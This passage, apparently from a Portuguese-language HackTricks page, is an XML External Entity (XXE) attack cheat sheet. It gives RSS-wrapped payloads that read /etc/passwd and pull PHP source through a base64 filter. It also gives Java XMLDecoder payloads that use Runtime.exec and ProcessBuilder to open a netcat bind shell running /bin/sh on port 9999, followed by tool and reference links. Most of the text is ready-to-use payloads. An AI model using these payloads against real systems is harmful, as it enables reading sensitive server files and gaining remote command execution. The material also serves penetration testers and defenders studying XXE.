<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Ler arquivo

Para ler um arquivo remoto, você pode usar a seguinte estrutura XML com uma entidade externa:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

Isso fará com que o conteúdo do arquivo /etc/passwd seja exibido na resposta XML.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Ler código fonte

Usando filtro base64 do PHP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE para RCE

XMLDecoder é uma classe Java que cria objetos com base em uma mensagem XML. Se um usuário malicioso conseguir fazer com que um aplicativo use dados arbitrários em uma chamada ao método readObject, ele instantaneamente obterá execução de código no servidor.

Usando Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

O ProcessBuilder é uma classe em Java que é usada para criar processos filhos. Ele fornece uma maneira mais flexível de lidar com processos do que diretamente usando Runtime.exec().

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Ferramentas

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

Mais recursos

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
Extrair informações via HTTP usando DTD externo próprio: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
https://gist.github.com/staaldraad/01415b990939494879b4
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
https://portswigger.net/web-security/xxe
https://gosecure.github.io/xxe-workshop/#7

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: